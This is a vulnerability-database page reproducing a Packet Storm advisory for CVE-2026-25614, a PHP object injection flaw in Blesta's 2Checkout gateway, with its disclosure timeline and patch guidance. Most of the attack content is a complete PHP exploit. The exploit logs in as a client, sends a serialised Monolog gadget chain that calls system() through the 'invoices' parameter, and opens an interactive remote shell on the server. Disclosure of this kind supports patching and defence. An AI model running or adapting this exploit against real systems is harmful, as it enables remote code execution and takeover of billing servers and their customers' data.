Lucene search
K

๐Ÿ“„ Blesta 5.13.1 2Checkout PHP Object Injection

๐Ÿ—“๏ธย 04 Feb 2026ย 00:00:00Reported byย EgiXTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 118ย Views

Blesta 3.0.0โ€“5.13.1 is vulnerable to 2Checkout PHP object injection via unsanitized input.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-25614
3 Feb 202619:16
โ€“attackerkb
Circl
CVE-2026-25614
3 Feb 202620:20
โ€“circl
CNNVD
Blesta ไปฃ็ ้—ฎ้ข˜ๆผๆดž
3 Feb 202600:00
โ€“cnnvd
CVE
CVE-2026-25614
3 Feb 202619:16
โ€“cve
Cvelist
CVE-2026-25614
3 Feb 202619:16
โ€“cvelist
EUVD
EUVD-2026-5170
3 Feb 202619:16
โ€“euvd
NVD
CVE-2026-25614
3 Feb 202620:15
โ€“nvd
OSV
CVE-2026-25614
3 Feb 202620:15
โ€“osv
Positive Technologies
PT-2026-6331
3 Feb 202600:00
โ€“ptsecurity
RedhatCVE
CVE-2026-25614
4 Feb 202619:27
โ€“redhatcve
Rows per page
--------------------------------------------------------------------------
    Blesta <= 5.13.1 (2Checkout) Multiple PHP Object Injection Vulnerabilities
    --------------------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://www.blesta.com
    
    
    [-] Affected Versions:
    
    All versions from 3.0.0 to 5.13.1.
    
    
    [-] Vulnerabilities Description:
    
    The vulnerabilities exist because user input passed through the
    "invoices" POST parameter or the "item-ext-ref" GET parameter when
    dispatching the Checkout2::validate() or Checkout2::success() method
    is not properly sanitized before being used in a call to the
    unserialize() PHP function. This can be exploited by malicious client
    users to inject arbitrary PHP objects into the application scope,
    allowing them to perform a variety of attacks, such as executing
    arbitrary PHP code (RCE).
    
    Successful exploitation of this issue requires the 2Checkout payment
    gateway to be installed.
    
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2026-25614.php
    
    
    [-] Solution:
    
    Apply the vendor patch or upgrade to version 5.13.2 or later.
    
    
    [-] Disclosure Timeline:
    
    [19/01/2026] - Vendor notified
    
    [22/01/2026] - CVE identifier requested
    
    [28/01/2026] - Version 5.13.2 released
    
    [31/01/2026] - Version 5.13.3 released to address regressions
    introduced in 5.13.2
    
    [03/02/2026] - CVE identifier assigned
    
    [04/02/2026] - Public disclosure
    
    
    [-] CVE Reference:
    
    The Common Vulnerabilities and Exposures project (cve.org) has
    assigned the name CVE-2026-25614 to these vulnerabilities.
    
    
    [-] Credits:
    
    Vulnerabilities discovered by Egidio Romano.
    
    
    [-] Other References:
    
    https://www.blesta.com/2026/01/28/security-advisory/
    
    
    [-] Original Advisory:
    
    https://karmainsecurity.com/KIS-2026-03
    
    
    --- packet storm attached poc: ---
    <?php
    
    /*
        --------------------------------------------------------------------------
        Blesta <= 5.13.1 (2Checkout) Multiple PHP Object Injection Vulnerabilities
        --------------------------------------------------------------------------
        
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://www.blesta.com
        
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
        
        [-] Original Advisory:
    
        https://karmainsecurity.com/KIS-2026-03
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    print "\n+-------------------------------------------------------------------+";
    print "\n| Blesta <= 5.13.1 (2Checkout) PHP Object Injection Exploit by EgiX |";
    print "\n+-------------------------------------------------------------------+\n";
    
    if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");
    
    if ($argc != 4)
    {
    	print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";
    	print "\nExample....: php $argv[0] http://localhost/blesta/ egix password";
    	print "\nExample....: php $argv[0] https://www.blesta.com/ hacker pwned\n\n";
    	die();
    }
    
    class Monolog_Handler_SyslogUdpHandler
    {
            protected $socket;
    
            function __construct($x)
            {
                $this->socket = $x;
            }
    }
    
    class Monolog_Handler_BufferHandler
    {
            protected $handler;
            protected $bufferSize = -1;
            protected $buffer;
            protected $level = null;
            protected $initialized = true;
            protected $bufferLimit = -1;
            protected $processors;
    
            function __construct($methods, $command)
            {
                $this->processors = $methods;
                $this->buffer = [$command];
                $this->handler = $this;
            }
    }
    
    function exec_cmd($cmd)
    {
    	global $ch, $url, $token;
    	
    	$cmd .= "; echo CMDDELIM";
    	$chain = new Monolog_Handler_SyslogUdpHandler(new Monolog_Handler_BufferHandler(['current', 'system'], [$cmd, 'level' => null]));
    	$chain = base64_encode(str_replace('_', '\\', serialize($chain)));
    	
    	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["invoices" => $chain]));
    	
    	return curl_exec($ch);
    }
    
    $url  = $argv[1];
    $user = $argv[2];
    $pwd  = $argv[3];
    $ch   = curl_init();
    
    @unlink("./cookies.txt");
    
    curl_setopt($ch, CURLOPT_URL, "{$url}client/login/");
    curl_setopt($ch, CURLOPT_COOKIEJAR, "./cookies.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE, "./cookies.txt");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    //curl_setopt($ch, CURLOPT_PROXY, 'http://127.0.0.1:8080');
    
    print "\n[+] Performing client login with username '{$user}' and password '{$pwd}'\n";
    
    if (!preg_match('/"_csrf_token" value="([^"]+)/i', curl_exec($ch), $token)) die("[-] CSRF token not found!\n\n");
    
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["_csrf_token" => $token[1], "username" => $user, "password" => $pwd]));
    
    if (preg_match('/alert-danger/i', curl_exec($ch))) die("[-] Login failed!\n\n");
    
    print "[+] Launching shell\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}client_pay/received/checkout2");
    	
    while(1)
    {
    	print "\nblesta-shell# ";
    	if (($cmd = trim(fgets(STDIN))) == "exit") break;
    	preg_match('/(.*)CMDDELIM/s', exec_cmd($cmd), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
    }

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.17.5
EPSS0.00049
SSVC
118